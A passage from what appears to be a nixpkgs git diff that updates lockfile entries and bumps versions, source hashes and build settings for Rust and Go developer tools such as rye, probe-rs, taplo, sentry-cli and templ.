"0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -932,62 +959,148 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ - "windows-targets", + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", ] [[package]] name = "windows-targets" -version = "0.48.0" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" dependencies = [ - "windows_aarch64_gnullvm", - "windows_aarch64_msvc", - "windows_i686_gnu", - "windows_i686_msvc", - "windows_x86_64_gnu", - "windows_x86_64_gnullvm", - "windows_x86_64_msvc", + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", ] [[package]] name = "windows_aarch64_gnullvm" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" [[package]] name = "windows_aarch64_msvc" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" [[package]] name = "windows_i686_gnu" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" [[package]] name = "windows_i686_msvc" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" [[package]] name = "windows_x86_64_gnu" -version = "0.48.0" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" [[package]] name = "windows_x86_64_gnullvm" -version = "0.48.0" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" [[package]] name = "windows_x86_64_msvc" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "zerocopy" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.43", +] diff --git a/pkgs/development/tools/rust/measureme/default.nix b/pkgs/development/tools/rust/measureme/default.nix index 79b938b2adc6d..0c97a189478d2 100644 --- a/pkgs/development/tools/rust/measureme/default.nix +++ b/pkgs/development/tools/rust/measureme/default.nix @@ -2,19 +2,20 @@ rustPlatform.buildRustPackage rec { pname = "measureme"; - version = "10.1.1"; + version = "11.0.1"; src = fetchFromGitHub { owner = "rust-lang"; repo = "measureme"; rev = version; - hash = "sha256-RCh6fTa4d+/Fj5ID5Su3pCZj/O+FhITzfKixXu9G550="; + hash = "sha256-p8XSe/LyHrEHEuxe1uK0Iy1YoJFw/jWtFvTDMhJMmnM="; }; cargoLock = { lockFile = ./Cargo.lock; outputHashes = { "analyzeme-9.2.0" = "sha256-YOZiux4ouWBToGFx0+fiqjcyrnSjwc+8Qfi2rLGT/18="; + "decodeme-10.1.2" = "sha256-20PJnBS6TCnltRuCiYkHKJcivKGDDQUrBc70hAX89bc="; }; }; diff --git a/pkgs/development/tools/rust/probe-rs/default.nix b/pkgs/development/tools/rust/probe-rs/default.nix index 90ab81e4ddde8..cb26888f1b05d 100644 --- a/pkgs/development/tools/rust/probe-rs/default.nix +++ b/pkgs/development/tools/rust/probe-rs/default.nix @@ -11,16 +11,16 @@ rustPlatform.buildRustPackage rec { pname = "probe-rs"; - version = "0.22.0"; + version = "0.23.0"; src = fetchFromGitHub { owner = pname; repo = pname; rev = "v${version}"; - hash = "sha256-7bWx6ZILqdSDY/q51UP/BuCgMH0F4ePMSnclHeF2DY4="; + hash = "sha256-5V7eLnukVAcOSX52myvaTlDbemGp6mDaWrQc3w4P5MI="; }; - cargoHash = "sha256-ynmKmXQrUnTcmo0S7FO+l/9EPuzgLCdUOPLuwoG4pbU="; + cargoHash = "sha256-sZl4FhaKIMJe7v5AAIM2w7M8Ev7vCht3owkvt0UhOu8="; cargoBuildFlags = [ "--features=cli" ]; diff --git a/pkgs/development/tools/rust/ravedude/default.nix b/pkgs/development/tools/rust/ravedude/default.nix index aeb44664cf6c1..ac5325336430c 100644 --- a/pkgs/development/tools/rust/ravedude/default.nix +++ b/pkgs/development/tools/rust/ravedude/default.nix @@ -10,14 +10,14 @@ rustPlatform.buildRustPackage rec { pname = "ravedude"; - version = "0.1.6"; + version = "0.1.7"; src = fetchCrate { inherit pname version; - hash = "sha256-LhPRz3DUMDoe50Hq3yO+2BHpyh5fQ4sMNGLttjkdSZw="; + hash = "sha256-p5pbxnoUBhdDf7acpLStgBvoWZyFYNHxTwzDhGSApRM="; }; - cargoHash = "sha256-Uo8wlTAHBkn/WeGPhPP+BU80wjSyNHsWQj8QvA7mHrk="; + cargoHash = "sha256-L7eXSji+irjwuOZ5uxqWK9SesRZrqEeoenJgMzqpszo="; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/development/tools/rust/rust-analyzer/default.nix b/pkgs/development/tools/rust/rust-analyzer/default.nix index a1c8dd591e10f..e202baeb92f69 100644 --- a/pkgs/development/tools/rust/rust-analyzer/default.nix +++ b/pkgs/development/tools/rust/rust-analyzer/default.nix @@ -13,14 +13,14 @@ rustPlatform.buildRustPackage rec { pname = "rust-analyzer-unwrapped"; - version = "2024-01-29"; - cargoSha256 = "sha256-3f+Nc2HXCQsaZ+FFSH7ML0o1yikZWhsRZmA8JtBc2TY="; + version = "2024-02-26"; + cargoSha256 = "sha256-qlLHynifRrMo1ZHFKDTXjsUnF6BFiiBH87ILBWCkDmE="; src = fetchFromGitHub { owner = "rust-lang"; repo = "rust-analyzer"; rev = version; - sha256 = "sha256-6K5rK1b2APQfXOrC+Hm+0QcyfPVt+TV81Q6Fd/QjMlQ="; + sha256 = "sha256-IBHMNEe3lspVdIzjpM2OVZiBFmFw1DKtdgVN5G41pRc="; }; cargoBuildFlags = [ "--bin" "rust-analyzer" "--bin" "rust-analyzer-proc-macro-srv" ]; diff --git a/pkgs/development/tools/rust/sqlx-cli/default.nix b/pkgs/development/tools/rust/sqlx-cli/default.nix index 16edbf5591d2f..55cf34bdac28f 100644 --- a/pkgs/development/tools/rust/sqlx-cli/default.nix +++ b/pkgs/development/tools/rust/sqlx-cli/default.nix @@ -11,6 +11,7 @@ , CoreFoundation , Security , SystemConfiguration +, nix-update-script }: rustPlatform.buildRustPackage rec { @@ -72,6 +73,8 @@ rustPlatform.buildRustPackage rec { command = "sqlx --version"; }; + passthru.updateScript = nix-update-script { }; + meta = with lib; { description = "SQLx's associated command-line utility for managing databases, migrations, and enabling offline mode with sqlx::query!() and friends."; diff --git a/pkgs/development/tools/rust/svd2rust/default.nix b/pkgs/development/tools/rust/svd2rust/default.nix index 6a3dbe7d50b4f..ad7c55489482c 100644 --- a/pkgs/development/tools/rust/svd2rust/default.nix +++ b/pkgs/development/tools/rust/svd2rust/default.nix @@ -2,14 +2,14 @@ rustPlatform.buildRustPackage rec { pname = "svd2rust"; - version = "0.31.5"; + version = "0.32.0"; src = fetchCrate { inherit pname version; - hash = "sha256-iJWF2BDLFH/sNi5xc8BIVmt4A+CSROxxp1TW5fcIp1Q="; + hash = "sha256-XA0zSMZTeEOiAKgzU6/znZIoJr4VtGjxWjOqDE7TFbk="; }; - cargoHash = "sha256-WcF7XeDfCdGiQQBH1LN3q3iIUJlfLTjJ7xlMG52AO/w="; + cargoHash = "sha256-94oSlnTZdGkYLAn5uShIDg2UAMPVu580ofVcgHZvI2M="; # error: linker `aarch64-linux-gnu-gcc` not found postPatch = '' diff --git a/pkgs/development/tools/rust/typeshare/default.nix b/pkgs/development/tools/rust/typeshare/default.nix index 4f5eb0a5a6ecb..9d9c554daaeea 100644 --- a/pkgs/development/tools/rust/typeshare/default.nix +++ b/pkgs/development/tools/rust/typeshare/default.nix @@ -6,16 +6,16 @@ rustPlatform.buildRustPackage rec { pname = "typeshare"; - version = "1.7.0"; + version = "1.8.0"; src = fetchFromGitHub { owner = "1password"; repo = "typeshare"; rev = "v${version}"; - hash = "sha256-Ftr0YMrY6tPpfg25swYntBXLWGKT00PEz79aOiSgLsU="; + hash = "sha256-ykrtvXPXxNYrUQNScit+REb7/6mE0FOzBQxPdbWodgk="; }; - cargoHash = "sha256-VIPIFdbyPcflqHHLkzpDugmw9+9CJRIv+Oy7PoaUZ5g="; + cargoHash = "sha256-/oIezLqd3hkWrfO2pml31de+pgpEXhXHxIxt10rPJZo="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/development/tools/rye/Cargo.lock b/pkgs/development/tools/rye/Cargo.lock index 0ff5c5f4afe4f..0b4ed0aab0337 100644 --- a/pkgs/development/tools/rye/Cargo.lock +++ b/pkgs/development/tools/rye/Cargo.lock @@ -403,25 +403,6 @@ dependencies = [ ] [[package]] -name = "crossbeam-deque" -version = "0.8.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" -dependencies = [ - "crossbeam-epoch", - "crossbeam-utils", -] - -[[package]] -name = "crossbeam-epoch" -version = "0.9.18" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" -dependencies = [ - "crossbeam-utils", -] - -[[package]] name = "crossbeam-utils" version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -811,6 +792,16 @@ dependencies = [ ] [[package]] +name = "fslock" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04412b8935272e3a9bae6f48c7bfff74c2911f60525404edfdd28e49884c3bfb" +dependencies = [ + "libc", + "winapi", +] + +[[package]] name = "generic-array" version = "0.14.7" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1059,6 +1050,32 @@ dependencies = [ ] [[package]] +name = "insta" +version = "1.35.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c985c1bef99cf13c58fade470483d81a2bfe846ebde60ed28cc2dddec2df9e2" +dependencies = [ + "console", + "lazy_static", + "linked-hash-map", + "regex", + "serde", + "similar", + "yaml-rust", +] + +[[package]] +name = "insta-cmd" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1980f17994b79f75670aa90cfc8d35edc4aa248f16aa48b5e27835b080e452a2" +dependencies = [ + "insta", + "serde", + "serde_json", +] + +[[package]] name = "instant" version = "0.1.12" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1153,6 +1170,12 @@ dependencies = [ ] [[package]] +name = "linked-hash-map" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" + +[[package]] name = "linux-raw-sys" version = "0.4.13" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1615,26 +1638,6 @@ dependencies = [ ] [[package]] -name = "rayon" -version = "1.8.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa7237101a77a10773db45d62004a272517633fbcc3df19d96455ede1122e051" -dependencies = [ - "either", - "rayon-core", -] - -[[package]] -name = "rayon-core" -version = "1.12.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" -dependencies = [ - "crossbeam-deque", - "crossbeam-utils", -] - -[[package]] name = "redox_syscall" version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1792,7 +1795,7 @@ dependencies = [ [[package]] name = "rye" -version = "0.23.0" +version = "0.27.0" dependencies = [ "age", "anyhow", @@ -1806,11 +1809,14 @@ dependencies = [ "decompress", "dialoguer", "flate2", + "fslock", "git-testament", "globset", "hex", "home", "indicatif", + "insta", + "insta-cmd", "junction", "license", "memchr", @@ -1837,7 +1843,6 @@ dependencies = [ "toml_edit", "url", "walkdir", - "whattheshell", "which", "winapi", "winreg", @@ -2006,6 +2011,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" [[package]] +name = "similar" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32fea41aca09ee824cc9724996433064c89f7777e60762749a4170a14abbfa21" + +[[package]] name = "slug" version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2101,7 +2112,6 @@ dependencies = [ "libc", "ntapi", "once_cell", - "rayon", "winapi", ] @@ -2515,16 +2525,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5f20c57d8d7db6d3b86154206ae5d8fba62dd39573114de97c2cb0578251f8e1" [[package]] -name = "whattheshell" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7c94d2698698cb1322e20292460fd158373af5fb2802afb6bea9ee17628efddb" -dependencies = [ - "sysinfo", - "thiserror", -] - -[[package]] name = "which" version = "6.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2742,6 +2742,15 @@ dependencies = [ ] [[package]] +name = "yaml-rust" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56c1936c4cc7a1c9ab21a1ebb602eb942ba868cbd44a99cb7cdc5892335e1c85" +dependencies = [ + "linked-hash-map", +] + +[[package]] name = "zerocopy" version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" diff --git a/pkgs/development/tools/rye/default.nix b/pkgs/development/tools/rye/default.nix index d8702db89cc9b..fb7db7343a0b4 100644 --- a/pkgs/development/tools/rye/default.nix +++ b/pkgs/development/tools/rye/default.nix @@ -12,13 +12,13 @@ rustPlatform.buildRustPackage rec { pname = "rye"; - version = "0.23.0"; + version = "0.27.0"; src = fetchFromGitHub { owner = "mitsuhiko"; repo = "rye"; rev = "refs/tags/${version}"; - hash = "sha256-0sbfqiPxo68429q676hs3vB3wRNmF/+OO7Ykg2x7HIQ="; + hash = "sha256-tqwjhA81UYCtZjz6X5tIZ91pDVPe4UU+sTKUIzmOHlM="; }; cargoLock = { @@ -53,6 +53,23 @@ rustPlatform.buildRustPackage rec { checkFlags = [ "--skip=utils::test_is_inside_git_work_tree" + + # The following require internet access to fetch a python binary + "--skip=test_add_and_sync_no_auto_sync" + "--skip=test_add_autosync" + "--skip=test_add_flask" + "--skip=test_add_from_find_links" + "--skip=test_basic_tool_behavior" + "--skip=test_config_empty" + "--skip=test_config_get_set_multiple" + "--skip=test_config_incompatible_format_and_show_path" + "--skip=test_config_show_path" + "--skip=test_empty_sync" + "--skip=test_fetch" + "--skip=test_init_default" + "--skip=test_init_lib" + "--skip=test_init_script" + "--skip=test_lint_and_format" ]; meta = with lib; { diff --git a/pkgs/development/tools/schemacrawler/default.nix b/pkgs/development/tools/schemacrawler/default.nix index c47ea26c745c9..29cb24f1faf20 100644 --- a/pkgs/development/tools/schemacrawler/default.nix +++ b/pkgs/development/tools/schemacrawler/default.nix @@ -7,11 +7,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "schemacrawler"; - version = "16.21.1"; + version = "16.21.2"; src = fetchzip { url = "https://github.com/schemacrawler/SchemaCrawler/releases/download/v${finalAttrs.version}/schemacrawler-${finalAttrs.version}-bin.zip"; - hash = "sha256-9tZGSWOUpQAAOQAbYxx0w734EKq2BdSYyIR4zmor4+Y="; + hash = "sha256-M8kHJOkbxJGpZWOZ1asGYPM76ZWSpkaYIAfWsaisXLs="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/development/tools/sd-local/default.nix b/pkgs/development/tools/sd-local/default.nix index b8a01e2633b52..d31bd992f1478 100644 --- a/pkgs/development/tools/sd-local/default.nix +++ b/pkgs/development/tools/sd-local/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "sd-local"; - version = "1.0.52"; + version = "1.0.54"; src = fetchFromGitHub { owner = "screwdriver-cd"; repo = pname; rev = "v${version}"; - sha256 = "sha256-2EWLi42ztuohouhMZ3DXa2wHx1tgPAUH0IKbn6lQeF0="; + sha256 = "sha256-2R/TVKCj3abUtrzzMW907GCC1H+lxTmg4J1kHHztE8I="; }; - vendorHash = "sha256-uHu8jPPQCJAhXE+Lzw5/9wyw7sL5REQJsPsYII+Nusc="; + vendorHash = "sha256-rAFfyMlnhDrb+f04S9+hNygXPaoG9mheQMxaJtXxBVw="; subPackages = [ "." ]; diff --git a/pkgs/development/tools/selenium/chromedriver/default.nix b/pkgs/development/tools/selenium/chromedriver/default.nix index 55ce40832f9e5..c40a32ff30e80 100644 --- a/pkgs/development/tools/selenium/chromedriver/default.nix +++ b/pkgs/development/tools/selenium/chromedriver/default.nix @@ -41,7 +41,7 @@ in stdenv.mkDerivation rec { version = upstream-info.version; src = fetchurl { - url = "https://edgedl.me.gvt1.com/edgedl/chrome/chrome-for-testing/${version}/${spec.system}/chromedriver-${spec.system}.zip"; + url = "https://storage.googleapis.com/chrome-for-testing-public/${version}/${spec.system}/chromedriver-${spec.system}.zip"; hash = spec.hash; }; diff --git a/pkgs/development/tools/sentry-cli/default.nix b/pkgs/development/tools/sentry-cli/default.nix index 46c83790d0644..738a2c659ddb8 100644 --- a/pkgs/development/tools/sentry-cli/default.nix +++ b/pkgs/development/tools/sentry-cli/default.nix @@ -1,6 +1,7 @@ { rustPlatform , fetchFromGitHub , lib +, installShellFiles , openssl , pkg-config , stdenv @@ -10,13 +11,13 @@ }: rustPlatform.buildRustPackage rec { pname = "sentry-cli"; - version = "2.28.0"; + version = "2.29.1"; src = fetchFromGitHub { owner = "getsentry"; repo = "sentry-cli"; rev = version; - sha256 = "sha256-KC+2ZJGMd5xjekRRgkKB09v9+h6CS94fs6/Px3Pn54Q="; + sha256 = "sha256-hSAd+fGEVpCAyG2HzrF0W09yk6ghxX/lwdPQNuGsZW0="; }; doCheck = false; @@ -24,9 +25,16 @@ rustPlatform.buildRustPackage rec { OPENSSL_NO_VENDOR = 1; buildInputs = [ openssl ] ++ lib.optionals stdenv.isDarwin [ CoreServices Security SystemConfiguration ]; - nativeBuildInputs = [ pkg-config ]; + nativeBuildInputs = [ installShellFiles pkg-config ]; - cargoHash = "sha256-XaFRA0lpTuuV/bfEFR2JzyQIPEBdfFSuhBrKNASnfdo="; + cargoHash = "sha256-g+rGWS/wZncyq9zPOOI+Zq1WEsQarMK2TkccVohJTUs="; + + postInstall = '' + installShellCompletion --cmd sentry-cli \ + --bash <($out/bin/sentry-cli completions bash) \ + --fish <($out/bin/sentry-cli completions fish) \ + --zsh <($out/bin/sentry-cli completions zsh) + ''; meta = with lib; { homepage = "https://docs.sentry.io/cli/"; diff --git a/pkgs/development/tools/spring-boot-cli/default.nix b/pkgs/development/tools/spring-boot-cli/default.nix index 5e92ac17f7bc6..b22a8ae8c54c4 100644 --- a/pkgs/development/tools/spring-boot-cli/default.nix +++ b/pkgs/development/tools/spring-boot-cli/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "spring-boot-cli"; - version = "3.2.2"; + version = "3.2.3"; src = fetchzip { url = "mirror://maven/org/springframework/boot/${finalAttrs.pname}/${finalAttrs.version}/${finalAttrs.pname}-${finalAttrs.version}-bin.zip"; - hash = "sha256-Jlczhy4Nfquhrm+SO/MRfBsHrHRHDkU4TUTTPTH7aVk="; + hash = "sha256-H4QYEp5QfWLdcQybrBE49eMPXvt68gjEjJMQvh1drZs="; }; nativeBuildInputs = [ makeWrapper installShellFiles ]; diff --git a/pkgs/development/tools/sq/default.nix b/pkgs/development/tools/sq/default.nix index e440509ead64b..16fd797cca826 100644 --- a/pkgs/development/tools/sq/default.nix +++ b/pkgs/development/tools/sq/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "sq"; - version = "0.46.1"; + version = "0.47.4"; src = fetchFromGitHub { owner = "neilotoole"; repo = pname; rev = "v${version}"; - hash = "sha256-TjJ3XDyHHZWMAYV5bJQffH4a9AheZWraov3d4HB/yno="; + hash = "sha256-vOp1F87kg9ydr9caGefcYrRJY5foEbKkpMK0eCUzQpQ="; }; - vendorHash = "sha256-DIYSUIUHEiRv+pPZ2hE/2X4GmT3lvdWd/mkl1wbjID4="; + vendorHash = "sha256-G623vH7pWpJbPvC8sR1xl6x3pcuBUvQwEj1RENuHnI8="; proxyVendor = true; diff --git a/pkgs/development/tools/taplo/default.nix b/pkgs/development/tools/taplo/default.nix index 43026331f5c75..2f497d6eb9319 100644 --- a/pkgs/development/tools/taplo/default.nix +++ b/pkgs/development/tools/taplo/default.nix @@ -1,6 +1,8 @@ { lib , rustPlatform , fetchCrate +, pkg-config +, openssl , stdenv , Security , withLsp ? true @@ -8,17 +10,25 @@ rustPlatform.buildRustPackage rec { pname = "taplo"; - version = "0.8.1"; + version = "0.9.0"; src = fetchCrate { inherit version; pname = "taplo-cli"; - sha256 = "sha256-evNW6OA7rArj0TvOaQgktcQy0tWnel3ZL+ic78e6lOk="; + hash = "sha256-vvb00a6rppx9kKx+pzObT/hW/IsG6RyYFEDp9M5gvqc="; }; - cargoSha256 = "sha256-jeLjoqEieR96mUZQmQtv7P78lmOaF18ruVhZLi/TieQ="; + cargoHash = "sha256-oT7U9htu7J22MqLZb+YXohlB1CVGxHGQvHJu18PeLf8="; - buildInputs = lib.optional stdenv.isDarwin Security; + nativeBuildInputs = [ + pkg-config + ]; + + buildInputs = [ + openssl + ] ++ lib.optionals stdenv.isDarwin [ + Security + ]; buildFeatures = lib.optional withLsp "lsp"; diff --git a/pkgs/development/tools/templ/default.nix b/pkgs/development/tools/templ/default.nix index ef54d183e48bf..63dd98bd54ab0 100644 --- a/pkgs/development/tools/templ/default.nix +++ b/pkgs/development/tools/templ/default.nix @@ -5,7 +5,7 @@ buildGoModule rec { pname = "templ"; - version = "0.2.543"; + version = "0.2.598"; subPackages = [ "cmd/templ" ]; @@ -21,10 +21,10 @@ buildGoModule rec { owner = "a-h"; repo = "templ"; rev = "refs/tags/v${version}"; - hash = "sha256-A99GBzxmrAhjPzo5qj6V3YWkQJavs9j9beMtNYqGnqo="; + hash = "sha256-jMoAocMDq8U1JsYoH3PFzZbnjSAzhifLwNZoKY+ambA="; }; - vendorHash = "sha256-4tHofTnSNI/MBmrGdGsLNoXjxUC0+Gwp3PzzUwfUkQU="; + vendorHash = "sha256-Upd5Wq4ajsyOMDiAWS2g2iNO1sm1XJc43AFQLIo5eDM="; meta = with lib; { description = "A language for writing HTML user interfaces in Go"; diff --git a/pkgs/development/tools/toast/default.nix b/pkgs/development/tools/toast/default.nix index 00c5e74e64d54..c4b486b96527a 100644 --- a/pkgs/development/tools/toast/default.nix +++ b/pkgs/development/tools/toast/default.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "toast"; - version = "0.47.5"; + version = "0.47.6"; src = fetchFromGitHub { owner = "stepchowfun"; repo = pname; rev = "v${version}"; - sha256 = "sha256-kAXzBJMAxHjZSK6lbpF+/27n9CGvq7x6Ay2TaFYgQSU="; + sha256 = "sha256-+qntd687LF4tJwHZglZ6mppHq3dOZ+l431oKBBNDI0k="; }; - cargoHash = "sha256-681ZFS8dtn815VYdFwPEJXnuMGTycSuRPDxmj1kN3rs="; + cargoHash = "sha256-A2sJ0o0RDztk3NjxG0CD8wNA4tmOizY4Tvff6ADzYQ8="; checkFlags = [ "--skip=format::tests::code_str_display" ]; # fails diff --git a/pkgs/development/tools/treefmt/default.nix b/pkgs/development/tools/treefmt/default.nix index 408272796d70b..48fc4b44962e8 100644 --- a/pkgs/development/tools/treefmt/default.nix +++ b/pkgs/development/tools/treefmt/default.nix @@ -17,5 +17,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/numtide/treefmt"; license = lib.licenses.mit; maintainers = [ lib.maintainers.zimbatm ]; + mainProgram = "treefmt"; }; } diff --git a/pkgs/development/tools/turso-cli/default.nix b/pkgs/development/tools/turso-cli/default.nix index 155360affbf76..374fe9f3bfafe 100644 --- a/pkgs/development/tools/turso-cli/default.nix +++ b/pkgs/development/tools/turso-cli/default.nix @@ -8,13 +8,13 @@ }: buildGoModule rec { pname = "turso-cli"; - version = "0.88.6"; + version = "0.88.8"; src = fetchFromGitHub { owner = "tursodatabase"; repo = "turso-cli"; rev = "v${version}"; - hash = "sha256-u8TZFgeDeZVRcP4ICgUrI4qhqlL1lhTSVDmWK3Ozku4="; + hash = "sha256-F+/xCs35ugdr2KlHbZ01wE9AX3qhsxvfaly/yDCcGJI="; }; vendorHash = "sha256-rTeW2RQhcdwJTAMQELm4cdObJbm8gk/I2Qz3Wk3+zpI="; diff --git a/pkgs/development/tools/twilio-cli/default.nix b/pkgs/development/tools/twilio-cli/default.nix index f862b036ac2bb..032796e760cad 100644 --- a/pkgs/development/tools/twilio-cli/default.nix +++ b/pkgs/development/tools/twilio-cli/default.nix @@ -2,11 +2,11 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "twilio-cli"; - version = "5.18.0"; + version = "5.19.0"; src = fetchzip { url = "https://twilio-cli-prod.s3.amazonaws.com/twilio-v${finalAttrs.version}/twilio-v${finalAttrs.version}.tar.gz"; - hash = "sha256-PdfcNRRc2LmYpS5p8y5rfP8vW9z8u72kK7RMu18tsVs="; + hash = "sha256-BU4ozZbBNtHdcyaxyvvZ966/FGydqbSnGxSSuky9LtM="; }; buildInputs = [ nodejs-slim ]; diff --git a/pkgs/development/tools/typos/default.nix b/pkgs/development/tools/typos/default.nix index c1f31c07c6cc9..6aa8e5558dcc1 100644 --- a/pkgs/development/tools/typos/default.nix +++ b/pkgs/development/tools/typos/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = 